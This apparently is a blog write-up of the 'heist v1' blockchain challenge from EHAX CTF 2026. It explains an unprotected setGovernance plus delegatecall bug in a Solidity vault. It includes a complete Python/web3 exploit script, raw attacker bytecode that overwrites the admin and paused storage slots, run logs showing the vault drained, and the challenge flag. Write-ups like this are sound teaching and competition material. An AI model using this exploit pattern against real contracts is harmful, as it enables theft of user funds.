729 words
4 minutes
EHAX CTF 2026 - heist v1 - Blockchain Writeup

Category: Blockchain
Flag: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

Challenge Description#

the government has released a new vault and now we can add proposals too , what?? , drain the VAULT

Analysis#

from pathlib import Path

print('--- Governance.sol ---')
print(Path('/home/rei/Downloads/Governance.sol').read_text())
print('--- Vault.sol ---')
print(Path('/home/rei/Downloads/Vault.sol').read_text())
--- Governance.sol ---
contract Governance {
    uint256 public proposalCount;
    function setProposal(uint256 x) public {
        proposalCount = x;
    }
}
--- Vault.sol ---
contract Vault {
    bool public paused;
    uint248 public fee;
    address public admin;
    address public governance;
    ...
    function execute(bytes calldata data) public {
        (bool ok,) = governance.delegatecall(data);
        require(ok);
    }
    function withdraw() public {
        require(!paused, "paused");
        require(msg.sender == admin, "not admin");
        payable(msg.sender).transfer(address(this).balance);
    }
    function setGovernance(address _g) public {
        governance = _g;
    }
}

The whole bug is visible in plain Solidity: setGovernance has no access control, and execute does a raw delegatecall into whatever address was just set. Because delegatecall runs in the caller’s storage context, this is effectively “let attacker run arbitrary storage writes inside Vault.” The storage layout is also favorable: slot 0 contains paused/fee, slot 1 is admin, and slot 2 is governance, so a tiny attacker contract can write slot 1 to CALLER and slot 0 to 0, which makes paused = false and admin = player in one shot.

That was one of those suspiciously short blockchain solves where the exploit primitive is cleaner than expected.

smug

python3.12 /home/rei/Downloads/solve_heist_v1.py
RPC URL  : http://135.235.193.111:38075
Vault    : 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
Governance : 0x5FbDB2315678afecb367f032d93F642f64180aa3
...
[+] vault balance before: 5000000000000000000
[+] admin before: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
[+] paused before: True
[+] admin after delegatecall: 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[+] paused after delegatecall: False
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}

The exploit script connected to the launcher, parsed instance details, deployed a minimal bytecode contract that stores CALLER into slot 1 and zero into slot 0, repointed governance with setGovernance(attacker), and triggered execute("") so the delegatecall mutated Vault state. After that, withdraw() succeeded from the player account and drained all 5 ETH from the challenge vault. The launcher’s Check solved path returned the real event flag, confirming the state transition and win condition were genuinely satisfied on the remote instance.

Solution#

# solve.py
import re
import time

from eth_account import Account
from pwn import remote
from web3 import Web3


VAULT_ABI = [
    {
        "inputs": [{"internalType": "address", "name": "_g", "type": "address"}],
        "name": "setGovernance",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [{"internalType": "bytes", "name": "data", "type": "bytes"}],
        "name": "execute",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "withdraw",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "getBalance",
        "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "admin",
        "outputs": [{"internalType": "address", "name": "", "type": "address"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "paused",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
]


def parse_instance(text: str):
    rpc = re.search(r"RPC URL\s*:\s*(\S+)", text)
    vault = re.search(r"Vault\s*:\s*(0x[a-fA-F0-9]{40})", text)
    pk = re.search(r"Player Private Key:\s*\n(0x[a-fA-F0-9]+)", text)
    if not (rpc and vault and pk):
        raise RuntimeError("failed to parse instance details")
    return rpc.group(1), Web3.to_checksum_address(vault.group(1)), pk.group(1)


def wait_rpc_ready(w3: Web3, retries: int = 20):
    for _ in range(retries):
        try:
            _ = w3.eth.chain_id
            return
        except Exception:
            time.sleep(0.25)
    raise RuntimeError("rpc not reachable")


def main():
    io = remote("135.235.193.111", 1337)
    io.timeout = 5

    banner = io.recvuntil(b"> ").decode(errors="ignore")
    print(banner, end="")

    rpc_url, vault_addr, player_pk = parse_instance(banner)

    w3 = Web3(Web3.HTTPProvider(rpc_url, request_kwargs={"timeout": 8}))
    wait_rpc_ready(w3)

    acct = Account.from_key(player_pk)
    sender = acct.address
    chain_id = w3.eth.chain_id
    gas_price = w3.eth.gas_price
    nonce = w3.eth.get_transaction_count(sender)

    def send(tx):
        nonlocal nonce
        tx.setdefault("chainId", chain_id)
        tx.setdefault("nonce", nonce)
        tx.setdefault("gasPrice", gas_price)
        tx.setdefault("value", 0)
        tx.setdefault("gas", 300000)
        signed = Account.sign_transaction(tx, player_pk)
        tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
        receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
        nonce += 1
        if receipt.status != 1:
            raise RuntimeError(f"tx failed: {tx_hash.hex()}")
        return receipt

    runtime = "33600155600060005500"
    init_code = "0x600a600c600039600a6000f3" + runtime

    deploy_receipt = send({"data": init_code, "gas": 200000})
    attacker = deploy_receipt.contractAddress
    print(f"[+] attacker contract: {attacker}")

    vault = w3.eth.contract(address=vault_addr, abi=VAULT_ABI)

    print(f"[+] vault balance before: {vault.functions.getBalance().call()}")
    print(f"[+] admin before: {vault.functions.admin().call()}")
    print(f"[+] paused before: {vault.functions.paused().call()}")

    tx = vault.functions.setGovernance(attacker).build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    tx = vault.functions.execute(b"").build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    print(f"[+] admin after delegatecall: {vault.functions.admin().call()}")
    print(f"[+] paused after delegatecall: {vault.functions.paused().call()}")

    tx = vault.functions.withdraw().build_transaction(
        {"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
    )
    send(tx)

    print(f"[+] vault balance after: {vault.functions.getBalance().call()}")
    print(f"[+] solved on-chain: {vault.functions.isSolved().call()}")

    io.sendline(b"1")
    print(io.recvrepeat(2).decode(errors="ignore"), end="")
    io.close()


if __name__ == "__main__":
    main()
python3.12 solve.py
[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}
EHAX CTF 2026 - heist v1 - Blockchain Writeup
https://blog.rei.my.id/posts/64/ehax-ctf-2026-heist-v1-blockchain-writeup/
Author
Reidho Satria
Published at
2026-03-01
License
CC BY-NC-SA 4.0